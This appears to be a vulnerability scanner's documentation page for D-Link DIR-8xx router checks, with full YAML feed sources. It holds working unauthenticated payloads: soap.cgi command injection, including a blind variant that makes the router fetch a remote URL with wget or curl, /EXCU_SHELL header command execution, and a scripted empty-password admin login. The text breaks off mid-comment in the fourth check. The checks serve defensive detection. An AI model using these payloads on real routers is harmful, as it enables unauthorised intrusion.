D-Link DIR-8xx — 6 vulnerability checks
noctis ships 6 vulnerability checks for D-Link DIR-8xx, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
D-Link DIR-8xx unauthenticated soap.cgi command injection
| CVE | CVE-2018-6530 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2018-6530.yaml |
D-Link DIR-860L, DIR-865L, DIR-868L and DIR-880L routers run /soap.cgi before authentication and build a shell command line from the raw `service` query value, giving unauthenticated remote command execution (CISA KEV).
The feed sends one unauthenticated POST /soap.cgi whose `service` value injects `echo NOCTIS<random token>$((a*b))` with two random integers, and reports the vulnerability only when the reply carries the marker followed by the product a*b — a value the router's shell computes and that never appears in the request, so a server that echoes or quotes the request is not reported. The same injected command line deletes the temporary script file the CGI creates. When an OOB listener is configured, a blind variant makes the router fetch a per-scan callback URL with wget (or curl), covering devices that run the command without returning its output.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /soap.cgi?service=n;S=$(printf${IFS}'\57');U=http:${S}${S}{{oob_host}}:{{oob_port}}$… - Raw TCP (TLS on HTTPS), sent verbatim:
POST /soap.cgi?service=noctis-control;S=$(printf${IFS}'\57');echo${IFS}NOCTIS{{proof.tok}… - Checks
resp.bannerforNOCTIS[0-9a-f]{12}[0-9]+→ finding QoD 97: Unauthenticated POST /soap.cgi?service=…;echo NOCTIS…$((…*…));… returned … — the product was computed by the router's shell - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Blind command injection via unauthenticated /soap.cgi service parameter: the router's shell rebuilt the slash-free OOB URL and fetched it w…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-6530
- https://github.com/TheBeeMan/Pwning-multiple-dlink-router-via-SOAP-proto
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6530.yaml
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2018-6530.yaml
# D-Link DIR-860L / DIR-865L / DIR-868L / DIR-880L — unauthenticated soap.cgi
# command injection through the `service` parameter (CVE-2018-6530).
#
# Sink (soapcgi_main in /htdocs/cgibin, Kaixiang Zhang's write-up):
# controlType = REQUEST_URI after "?service=" (raw, not url-decoded)
# sprintf(filename, "/var/run/%s_%d.sh", controlType, getpid());
# fopen(filename, "a+") ... system(filename);
# so `service=x;cmd;y` runs `sh -c "/var/run/x;cmd;y_<pid>.sh"` and cmd's stdout
# goes to the CGI's stdout. Three constraints shape the payload:
# - no '/' anywhere: fopen() of a name holding '/' fails and system() never
# runs. The slash is rebuilt in the shell: S=$(printf '\57').
# - no space and no %XX: REQUEST_URI is not decoded, so spaces are ${IFS}.
# - the name (controlType + "_<pid>.sh") must fit NAME_MAX (255 bytes).
#
# Detection (benign, nothing persisted):
# 1. In-band computed proof (QoD 97): `echo NOCTIS<tok>$((a*b))` — the reply must
# hold NOCTIS<tok> followed by the product a*b, which only a shell computes; a
# server that echoes or quotes the request (debug page, honeypot, WAF page, a
# handler reflecting `service`) only ever shows the literal `$((a*b))` (#2363).
# The same command line deletes the /var/run/*<tok>* script file(s) the CGI
# created for this run, so no file is left behind.
# 2. Blind fallback (QoD 97, only with OOB): a first request fetches
# http://<oob>/<oob_token> with wget, else curl; the URL's slashes exist only
# once the shell has expanded ${S}, so a URL-fetching proxy/IDS cannot fake
# the callback. Sent before step 1, whose rm removes its script file too.
#
# Unverified on hardware: whether the vendor httpd forwards the CGI's stdout
# (written before soap.cgi's own headers) to the client. The raw read matches the
# marker wherever it lands; the OOB branch covers firmware that drops it.
#
# Raw tcp_connect: the payload's $ ( ) { } ' \ * must reach REQUEST_URI byte for
# byte. Previous version matched the reflected `service` token (FP on echo servers).
uid: 8f2a6d14-4c7b-4e9a-9b3d-1e5c0a7f2b64
name: "CVE-2018-6530 — D-Link DIR-8xx unauthenticated soap.cgi command injection (CVSS 9.8)"
description: |
D-Link DIR-860L, DIR-865L, DIR-868L and DIR-880L routers run /soap.cgi before
authentication and build a shell command line from the raw `service` query value,
giving unauthenticated remote command execution (CISA KEV).
The feed sends one unauthenticated POST /soap.cgi whose `service` value injects
`echo NOCTIS<random token>$((a*b))` with two random integers, and reports the
vulnerability only when the reply carries the marker followed by the product a*b —
a value the router's shell computes and that never appears in the request, so a
server that echoes or quotes the request is not reported. The same injected
command line deletes the temporary script file the CGI creates. When an OOB
listener is configured, a blind variant makes the router fetch a per-scan callback
URL with wget (or curl), covering devices that run the command without returning
its output.
cves: [CVE-2018-6530]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [dlink, dir-8xx, router, rce, command-injection, soap, kev, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-6530"
- "https://github.com/TheBeeMan/Pwning-multiple-dlink-router-via-SOAP-proto"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6530.yaml"
steps:
# tok: per-run marker (also names the CGI's script files for cleanup).
# a, b < 46341 so a*b fits a signed 32-bit shell integer on old busybox builds.
- id: gen-proof
action: script
code: |
let tok = rand_hex(6);
let a = rand_int(10000, 46000);
let b = rand_int(10000, 46000);
#{ tok: tok, a: "" + a, b: "" + b, expected: "NOCTIS" + tok + (a * b) }
store_as: proof
# Blind variant, sent first so the in-band request below also removes its file.
- id: inject-oob
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "oob_enabled"
send: "POST /soap.cgi?service=n;S=$(printf${IFS}'\\57');U=http:${S}${S}{{oob_host}}:{{oob_port}}${S}{{oob_token}};(wget${IFS}-qO-${IFS}$U||curl${IFS}-s${IFS}$U)>${S}dev${S}null;noctis{{proof.tok}} HTTP/1.0\r\nHost: {{target_host}}\r\nSOAPAction: \"urn:schemas-upnp-org:service:noctis:1#GetInfo\"\r\nContent-Type: text/xml\r\nContent-Length: 16\r\nConnection: close\r\n\r\n<noctis-probe/>\n"
store_as: oob_req
- id: inject
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST /soap.cgi?service=noctis-control;S=$(printf${IFS}'\\57');echo${IFS}NOCTIS{{proof.tok}}$(({{proof.a}}*{{proof.b}}));rm${IFS}-f${IFS}${S}var${S}run${S}*noctis{{proof.tok}}*;noctis{{proof.tok}} HTTP/1.0\r\nHost: {{target_host}}\r\nSOAPAction: \"urn:schemas-upnp-org:service:noctis:1#GetInfo\"\r\nContent-Type: text/xml\r\nContent-Length: 16\r\nConnection: close\r\n\r\n<noctis-probe/>\n"
store_as: resp
# The computed product must follow the marker. No reply → banner is () → false.
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{12}[0-9]+"
condition: "resp.connected == true && type_of(resp.banner) == \"string\" && stridx(resp.banner, proof.expected) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated POST /soap.cgi?service=…;echo NOCTIS{{proof.tok}}$(({{proof.a}}*{{proof.b}}));… returned {{proof.expected}} — the product was computed by the router's shell"
stop: true
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Blind command injection via unauthenticated /soap.cgi service parameter: the router's shell rebuilt the slash-free OOB URL and fetched it with wget/curl (HTTP callback received)"
stop: trueD-Link DIR-823G /EXCU_SHELL unauthenticated RCE
| CVE | CVE-2023-26613 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2023-26613.yaml |
D-Link DIR-823G routers with firmware 1.0.2B05 (and other devices sharing the same web server) expose /EXCU_SHELL without authentication. It executes the OS command given in the `Command1` request header (with `Confirm1: apply`) with admin privileges and returns its output. This feed injects an inert arithmetic `echo` / `expr` and confirms that the target computed the per-run result.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /EXCU_SHELL - Parses / computes the next value with a Rhai script
- Checks
shell_chk.evaluatedfor^true$→ finding QoD 97: D-Link DIR-823G /EXCU_SHELL unauthenticated RCE (CVE-2023-26613) - HTTP(S) request
GET /EXCU_SHELL - Parses / computes the next value with a Rhai script
- Checks
expr_chk.evaluatedfor^true$→ finding QoD 97: D-Link DIR-823G /EXCU_SHELL unauthenticated RCE (CVE-2023-26613)
References:
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2023-26613.yaml
# D-Link DIR-823G — unauthenticated OS command execution via /EXCU_SHELL
# (CVE-2023-26613, firmware 1.0.2B05).
#
# Ported from OpenVAS/Greenbone NVT `2023/dlink/gb_dlink_dir_rce_vuln_jun23_active.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.104824, GPL-2.0-only).
#
# The router's web server exposes /EXCU_SHELL before authentication: it runs the
# command carried in the `Command1` request header (applied with `Confirm1: apply`)
# with admin privileges and returns its output in the response body. The NASL
# sends `cat /etc/passwd` in that header and greps the body for a passwd line.
#
# Detection (benign proof): instead of reading /etc/passwd, the injected command
# only prints a per-run arithmetic result for two random integers A and B:
# 1. `echo NOCTIS$((A*B))` — matched on `NOCTIS<A*B>`; only a shell that
# EVALUATED our header prints the product;
# 2. fallback `expr A + B` — matched on the sum, for a handler that runs the
# command without a shell (no `$((...))` expansion) — `expr` prints the sum
# either way.
# Neither token appears in the request, so a page that reflects the headers can't
# false-positive. Nothing is written, nothing is read. QoD 97.
#
# Beyond the NASL:
# - the NASL's `root:.*:0:0` grep fires on any 200 page that happens to contain
# passwd-like text (a honeypot, a reflected header, a static file); the per-run
# arithmetic token cannot;
# - no file is read on the target (benign, not a data disclosure);
# - the `expr` fallback still confirms execution when the command is not run
# through a shell, which a `$((...))` marker alone would miss.
#
# Note: dlink-dwr/CVE-2018-19300.yaml probes the same /EXCU_SHELL handler on
# D-Link DWR/DAP devices (with `cmdnum` / `confirm1: n`); a device sharing that
# web server may fire both feeds.
uid: 918d5243-1783-44f1-821c-3c9fde54ae8f
name: "D-Link DIR-823G /EXCU_SHELL unauthenticated RCE (CVE-2023-26613)"
description: |
D-Link DIR-823G routers with firmware 1.0.2B05 (and other devices sharing the
same web server) expose /EXCU_SHELL without authentication. It executes the OS
command given in the `Command1` request header (with `Confirm1: apply`) with
admin privileges and returns its output. This feed injects an inert arithmetic
`echo` / `expr` and confirms that the target computed the per-run result.
cves: [CVE-2023-26613]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [dlink, dir-823g, router, rce, command-injection, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-26613"
- "OpenVAS NASL 2023/dlink/gb_dlink_dir_rce_vuln_jun23_active.nasl (OID 1.3.6.1.4.1.25623.1.0.104824, GPL-2.0-only)"
steps:
# ── Per-run benign probes ────────────────────────────────────────────────────
- id: build-probe
action: script
store_as: calc
code: |
// A*B < 2^31 so a 32-bit BusyBox ash (no 64-bit shell math) doesn't wrap.
let a = rand_int(1009, 46337);
let b = rand_int(1009, 46337);
#{
shell_cmd: "echo NOCTIS$((" + a.to_string() + "*" + b.to_string() + "))",
shell_token: "NOCTIS" + (a * b).to_string(),
expr_cmd: "expr " + a.to_string() + " + " + b.to_string(),
expr_token: (a + b).to_string()
}
# Pre-initialise the stored results: a failed request (timeout, reset) leaves
# store_as unset, and the check scripts would then abort the test.
- id: init-shell-resp
action: set_var
var_name: shell_resp
var_value: {status: 0, body: ""}
- id: init-expr-resp
action: set_var
var_name: expr_resp
var_value: {status: 0, body: ""}
# ── 1. Shell-evaluated marker ────────────────────────────────────────────────
- id: probe-shell
action: http_request
method: GET
path: "/EXCU_SHELL"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Command1: "{{calc.shell_cmd}}"
Confirm1: "apply"
store_as: shell_resp
- id: check-shell
action: script
store_as: shell_chk
code: |
let body = if type_of(shell_resp.body) == "string" { shell_resp.body } else { "" };
#{ evaluated: shell_resp.status == 200 && stridx(body, calc.shell_token) >= 0 }
- id: confirm-shell
action: match
source: shell_chk.evaluated
pattern: "^true$"
on_match:
finding:
title: "D-Link DIR-823G /EXCU_SHELL unauthenticated RCE (CVE-2023-26613)"
description: "/EXCU_SHELL executed the OS command given in the Command1 request header without authentication. An inert `echo` of a per-run arithmetic expansion was evaluated by the target's shell and its result returned, confirming unauthenticated remote command execution."
remediation: "D-Link DIR-823G is end-of-life: replace the device, or at least make sure its web interface is not reachable from untrusted networks."
confidence_delta: 0.75
qod: 97
evidence: "GET /EXCU_SHELL with `Command1: {{calc.shell_cmd}}` / `Confirm1: apply` returned the evaluated token {{calc.shell_token}} — the target executed the command"
stop: true
# ── 2. Fallback without a shell: `expr A + B` ────────────────────────────────
- id: probe-expr
action: http_request
method: GET
path: "/EXCU_SHELL"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Command1: "{{calc.expr_cmd}}"
Confirm1: "apply"
store_as: expr_resp
- id: check-expr
action: script
store_as: expr_chk
code: |
let body = if type_of(expr_resp.body) == "string" { expr_resp.body } else { "" };
#{ evaluated: expr_resp.status == 200 && ereg("(^|[^0-9])" + calc.expr_token + "([^0-9]|$)", body) }
- id: confirm-expr
action: match
source: expr_chk.evaluated
pattern: "^true$"
on_match:
finding:
title: "D-Link DIR-823G /EXCU_SHELL unauthenticated RCE (CVE-2023-26613)"
description: "/EXCU_SHELL executed the OS command given in the Command1 request header without authentication. An inert `expr` of two per-run random integers was run on the target and its sum returned, confirming unauthenticated remote command execution."
remediation: "D-Link DIR-823G is end-of-life: replace the device, or at least make sure its web interface is not reachable from untrusted networks."
confidence_delta: 0.75
qod: 97
evidence: "GET /EXCU_SHELL with `Command1: {{calc.expr_cmd}}` / `Confirm1: apply` returned the computed sum {{calc.expr_token}} — the target executed the command"
stop: trueD-Link DIR-825 Empty Default Password (HTTP)
| CVE | CVE-2019-9123 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | default-credentials — Default credentials |
| Services | http, https |
| Detection | set_var, tcp_connect, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2019-9123.yaml |
D-Link DIR-825 routers ship the web accounts "Admin" and "User" with an empty password (CVE-2019-9123). For each account the check loads the login page of /cgi-bin/webproc, takes its session token and cookies, and submits the login form with an empty password. The login is confirmed when the router answers with the authenticated session cookie (auth=ok), while a second login of the same account with a random password is refused, so a router that accepts any password is not reported. The same login form is used by other routers built on the same firmware; an empty password accepted on a login page that does not name the DIR-825 is reported without the CVE. An attacker on the network gets the router's administration interface.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc HTTP/1.0 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
{{login_req}} - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
{{ctl_req}} - Parses / computes the next value with a Rhai script
- Checks
login.bannerfor(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok→ finding QoD 97: D-Link DIR-825 empty default password for the '…' account (CVE-2019-9123) - Checks
login.bannerfor(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok→ finding QoD 75: D-Link DIR-825 empty default password for the '…' account (CVE-2019-9123) - Checks
login.bannerfor(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok→ finding QoD 97: Router web interface (webproc) empty password for the '…' account - Checks
login.bannerfor(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok→ finding QoD 75: Router web interface (webproc) empty password for the '…' account
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-9123
- https://github.com/WhooAmii/whooamii.github.io/blob/master/2018/DIR-825/Permission%20access%20control.md
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2019-9123.yaml
# D-Link DIR-825 — empty default password of the web accounts "Admin" and
# "User" (CVE-2019-9123; NVD: DIR-825 Rev.B 2.10, the "user" account has a
# blank password).
#
# Ported from OpenVAS/Greenbone NVT
# 2019/dlink/gb_dlink_dir-825_default_credentials.nasl
# (OID 1.3.6.1.4.1.25623.1.0.113342, GPL-2.0-only). For each of "Admin" and
# "User" the NVT:
# 1. GETs /cgi-bin/webproc (the login page) and reads `var G_SysToken = "<n>"`
# and the `sessionid` / `xxid` cookies it hands out;
# 2. POSTs the login form to /cgi-bin/webproc with
# Cookie: sessionid=<sid>; auth=nok; xxid=<xxid>; sys_UserName=<user>
# getpage=html%2Findex.html errorpage=html%2Fmain.html var%3Amenu=basic
# obj-action=auth %3Ausername=<user> %3Apassword= var%3Asys_Token=<n>
# %3Aaction=login %3Asessionid=<sid>
# 3. reports the login when the reply sets the cookie `auth=ok`.
#
# Deviations from the NVT (stronger detection, stated in the PR):
# * Form fields are joined with "&" (application/x-www-form-urlencoded, what
# the router's own login form submits); the NVT joins them with ";".
# * Random-password control: after an empty-password login worked, a fresh
# session logs in the same account with a random password. If that also
# gets `auth=ok` (no password check, honeypot) nothing is reported. If the
# control gets no answer, the login is still reported, at QoD 75 instead
# of 97 (an accept-any device that drops the second login cannot be ruled
# out). The control is only sent after a successful login, so a
# protected router sees at most two failed logins (Admin, User).
# * No product-detection gate: the same webproc login runs on other routers
# (ZTE ZXHN, D-Link DSL, Sitecom...). An empty-password login on a login
# page that does not name the DIR-825 is reported without the CVE, under a
# generic title.
# * The `xxid` cookie is optional: a firmware that does not set it is still
# tested (the cookie is then left out), where the NVT skips the account.
# * The requests and replies go through raw HTTP/1.0 (tcp_connect): the login
# page sets two cookies and the login reply several, and only the whole
# header block shows them all. `auth=ok` is matched in the reply headers
# only, never in the page body.
#
# Nothing is changed on the router: the session is only opened.
uid: 49d62601-5c80-4763-aca2-83303e3fbbd2
name: "D-Link DIR-825 Empty Default Password (HTTP) (CVE-2019-9123)"
description: |
D-Link DIR-825 routers ship the web accounts "Admin" and "User" with an empty
password (CVE-2019-9123). For each account the check loads the login page of
/cgi-bin/webproc, takes its session token and cookies, and submits the login
form with an empty password. The login is confirmed when the router answers
with the authenticated session cookie (auth=ok), while a second login of the
same account with a random password is refused, so a router that accepts
any password is not reported. The same login form is used by other routers
built on the same firmware; an empty password accepted on a login page that
does not name the DIR-825 is reported without the CVE. An attacker on the
network gets the router's administration interface.
cves: [CVE-2019-9123]
cvss: 9.8
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [dlink, d-link, dir-825, router, iot, webproc, default-credentials, empty-password, http]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-9123"
- "https://github.com/WhooAmii/whooamii.github.io/blob/master/2018/DIR-825/Permission%20access%20control.md"
- "OpenVAS/Greenbone NASL 2019/dlink/gb_dlink_dir-825_default_credentials.nasl (GPL-2.0-only)"
steps:
# The group below runs once per account (NVT order); a finding stops it.
# Every stored result is re-initialised at the start of an iteration, so a
# request that fails never leaves the previous account's reply in place.
- id: init-page
action: set_var
loop:
over:
- {user: "Admin"}
- {user: "User"}
var: acct
var_name: page
var_value: {banner: null}
- id: init-login
action: set_var
var_name: login
var_value: {banner: null}
- id: init-ctl-page
action: set_var
var_name: ctl_page
var_value: {banner: null}
- id: init-ctl-login
action: set_var
var_name: ctl_login
var_value: {banner: null}
- id: init-login-ok
action: set_var
var_name: login_ok
var_value: false
# ── 1. Login page: session token + cookies ─────────────────────────────
- id: page
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/webproc HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\nConnection: close\r\n\r\n"
store_as: page
- id: session
action: script
store_as: sess
code: |
let b = page.banner;
if type_of(b) != "string" { return #{ ok: false }; }
let tok = eregmatch("var G_SysToken[ ]*=[ ]*\"([0-9]+)\";", b, true);
let sid = eregmatch("(?m)^set-cookie:[ \\t]*sessionid=([^;\\s]+)", b, true);
let xx = eregmatch("(?m)^set-cookie:[ \\t]*xxid=([0-9]+)", b, true);
if tok.len() < 2 || sid.len() < 2 { return #{ ok: false }; }
let cookie = "sessionid=" + sid[1] + "; auth=nok";
if xx.len() > 1 { cookie += "; xxid=" + xx[1]; }
// The same webproc firmware runs on other routers: only a login page
// that names the DIR-825 gets the CVE.
#{ ok: true, token: tok[1], sid: sid[1], cookie: cookie + "; sys_UserName=" + acct.user,
dir825: ereg("DIR[- ]?825", b, true) }
# ── 2. Login with the empty password ───────────────────────────────────
- id: login-req
action: script
store_as: login_req
condition: "sess.ok == true"
code: |
let body = "getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=basic"
+ "&obj-action=auth&%3Ausername=" + acct.user + "&%3Apassword="
+ "&var%3Asys_Token=" + sess.token + "&%3Aaction=login&%3Asessionid=" + sess.sid;
"POST /cgi-bin/webproc HTTP/1.0\r\nHost: " + target_host + "\r\n"
+ "User-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\n"
+ "Cookie: " + sess.cookie + "\r\n"
+ "Content-Type: application/x-www-form-urlencoded\r\n"
+ "Content-Length: " + strlen(body) + "\r\nConnection: close\r\n\r\n" + body
- id: login
action: tcp_connect
port: "{{port}}"
condition: "sess.ok == true"
send: "{{login_req}}"
store_as: login
- id: login-check
action: script
store_as: login_ok
condition: "sess.ok == true"
code: |
let b = login.banner;
if type_of(b) != "string" || !ereg("^HTTP/1\\.[01] [0-9]{3}", b) { return false; }
let end = stridx(b, "\r\n\r\n");
let head = if end >= 0 { substr(b, 0, end) } else { b };
ereg("(?m)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok(?:[;\\s]|$)", head, true)
# ── 3. Control: a random password for the same account must be refused ─
- id: ctl-page
action: tcp_connect
port: "{{port}}"
condition: "login_ok == true"
send: "GET /cgi-bin/webproc HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\nConnection: close\r\n\r\n"
store_as: ctl_page
- id: ctl-req
action: script
store_as: ctl_req
condition: "login_ok == true"
code: |
let b = ctl_page.banner;
if type_of(b) != "string" { return ""; }
let tok = eregmatch("var G_SysToken[ ]*=[ ]*\"([0-9]+)\";", b, true);
let sid = eregmatch("(?m)^set-cookie:[ \\t]*sessionid=([^;\\s]+)", b, true);
let xx = eregmatch("(?m)^set-cookie:[ \\t]*xxid=([0-9]+)", b, true);
if tok.len() < 2 || sid.len() < 2 { return ""; }
let cookie = "sessionid=" + sid[1] + "; auth=nok";
if xx.len() > 1 { cookie += "; xxid=" + xx[1]; }
cookie += "; sys_UserName=" + acct.user;
let body = "getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=basic"
+ "&obj-action=auth&%3Ausername=" + acct.user + "&%3Apassword=N" + rand_hex(12)
+ "&var%3Asys_Token=" + tok[1] + "&%3Aaction=login&%3Asessionid=" + sid[1];
"POST /cgi-bin/webproc HTTP/1.0\r\nHost: " + target_host + "\r\n"
+ "User-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\n"
+ "Cookie: " + cookie + "\r\n"
+ "Content-Type: application/x-www-form-urlencoded\r\n"
+ "Content-Length: " + strlen(body) + "\r\nConnection: close\r\n\r\n" + body
- id: ctl-login
action: tcp_connect
port: "{{port}}"
condition: 'login_ok == true && ctl_req != ""'
send: "{{ctl_req}}"
store_as: ctl_login
# answered: the control login got an HTTP reply; open: it was accepted too.
- id: ctl-check
action: script
store_as: ctl
condition: "login_ok == true"
code: |
let b = ctl_login.banner;
if ctl_req == "" || type_of(b) != "string" || !ereg("^HTTP/1\\.[01] [0-9]{3}", b) {
return #{ answered: false, open: false };
}
let end = stridx(b, "\r\n\r\n");
let head = if end >= 0 { substr(b, 0, end) } else { b };
#{ answered: true, open: ereg("(?m)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok(?:[;\\s]|$)", head, true) }
# ── Findings ───────────────────────────────────────────────────────────
- id: finding-confirmed
action: match
source: login.banner
pattern: "(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok"
condition: "login_ok == true && sess.dir825 == true && ctl.answered == true && ctl.open == false"
on_match:
finding:
title: "D-Link DIR-825 empty default password for the '{{acct.user}}' account (CVE-2019-9123)"
description: "The router's web interface (/cgi-bin/webproc) logged in the '{{acct.user}}' account with an empty password and returned the authenticated session cookie auth=ok, while a login of the same account with a random password was refused."
remediation: "Set a strong password for both the Admin and the User accounts of the router's web interface, and do not expose the administration interface to untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "POST /cgi-bin/webproc as '{{acct.user}}' with an empty password returned Set-Cookie: auth=ok; the same login with a random password was refused."
stop: true
# The control got no HTTP reply: an accept-any-password device cannot be
# ruled out, so the login is reported at a lower QoD.
- id: finding-control-unknown
action: match
source: login.banner
pattern: "(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok"
condition: "login_ok == true && sess.dir825 == true && ctl.answered == false"
on_match:
finding:
title: "D-Link DIR-825 empty default password for the '{{acct.user}}' account (CVE-2019-9123)"
description: "The router's web interface (/cgi-bin/webproc) logged in the '{{acct.user}}' account with an empty password and returned the authenticated session cookie auth=ok. The control login with a random password got no reply, so a device that accepts any password could not be ruled out."
remediation: "Set a strong password for both the Admin and the User accounts of the router's web interface, and do not expose the administration interface to untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "POST /cgi-bin/webproc as '{{acct.user}}' with an empty password returned Set-Cookie: auth=ok; the random-password control got no HTTP reply."
stop: true
# Same login on a webproc router whose login page does not name the
# DIR-825: reported without the CVE.
- id: finding-generic-confirmed
action: match
source: login.banner
pattern: "(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok"
condition: "login_ok == true && sess.dir825 == false && ctl.answered == true && ctl.open == false"
on_match:
finding:
title: "Router web interface (webproc) empty password for the '{{acct.user}}' account"
cves: []
description: "The router's webproc web interface (/cgi-bin/webproc, the firmware of the D-Link DIR-825 and other routers) logged in the '{{acct.user}}' account with an empty password and returned the authenticated session cookie auth=ok, while a login of the same account with a random password was refused."
remediation: "Set a strong password for the Admin and User accounts of the router's web interface, and do not expose the administration interface to untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "POST /cgi-bin/webproc as '{{acct.user}}' with an empty password returned Set-Cookie: auth=ok; the same login with a random password was refused."
stop: true
- id: finding-generic-control-unknown
action: match
source: login.banner
pattern: "(?im)^set-cookie[ ]?:[ ]?auth[ ]?=[ ]?ok"
condition: "login_ok == true && sess.dir825 == false && ctl.answered == false"
on_match:
finding:
title: "Router web interface (webproc) empty password for the '{{acct.user}}' account"
cves: []
description: "The router's webproc web interface (/cgi-bin/webproc, the firmware of the D-Link DIR-825 and other routers) logged in the '{{acct.user}}' account with an empty password and returned the authenticated session cookie auth=ok. The control login with a random password got no reply, so a device that accepts any password could not be ruled out."
remediation: "Set a strong password for the Admin and User accounts of the router's web interface, and do not expose the administration interface to untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "POST /cgi-bin/webproc as '{{acct.user}}' with an empty password returned Set-Cookie: auth=ok; the random-password control got no HTTP reply."
stop: trueD-Link DIR-850L SharePort Web Access authentication bypass
| CVE | CVE-2018-9032 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2018-9032.yaml |
Tests the SharePort Web Access portal of D-Link DIR-850L routers for the authentication bypass in which category_view.php and folder_view.php are served without a login. For each page, at the web root and under /webaccess/, the test sends an unauthenticated GET and looks for a successful reply with the SharePort Web Access title and the portal stylesheet. When a page is found, it also asks the portal's login-info service (logininfo.xml?request=get_login_info), as the page itself does: a reply that returns the portal account fields without a redirect to the login page confirms that the server grants the session to a visitor who never authenticated. When that service answers with a redirect to the login page or refuses the request (401/403) instead, the page is only static HTML and no finding is reported. When the service does not answer, the page served without login is reported with lower confidence. The account name and password in the reply are never included in the finding.
How noctis detects it
- HTTP(S) request
GET {{path}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{verdict.dir}}/logininfo.xml?request=get_login_info - Parses / computes the next value with a Rhai script
- Checks
verdict.prooffor^logininfo-session-granted$→ finding QoD 97: SharePort … served without login (HTTP 200, SharePort Web Access title and webfile_css/layout.css) and unauthenticated …/logininfo.xml?requ… - Checks
page.bodyforhref=["']/?webfile_css/layout\.css["']→ finding QoD 75: SharePort … served without login: HTTP 200 with the SharePort Web Access title and webfile_css/layout.css
References:
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2018-9032.yaml
# D-Link DIR-850L SharePort Web Access authentication bypass (CVE-2018-9032)
#
# SharePort Web Access (the router's USB-storage web portal) serves
# /category_view.php and /folder_view.php to anyone; the login is only enforced
# by the page's JavaScript, which asks logininfo.xml?request=get_login_info
# whether to send the visitor to the login page (a <redirect_page> element).
# Affected: DIR-850L hardware A1/B1, firmware 1.02 through 2.06 (EDB-44378,
# Gem George, 2018-03-24). CVSS 9.8 per NVD. The same flaw on the
# DIR-868L/885L/895L firmware line is CVE-2019-16190
# (tests/vulnerabilities/dlink-dir8xx/CVE-2019-16190.yaml).
#
# Detection (ported from OpenVAS/Greenbone NVT
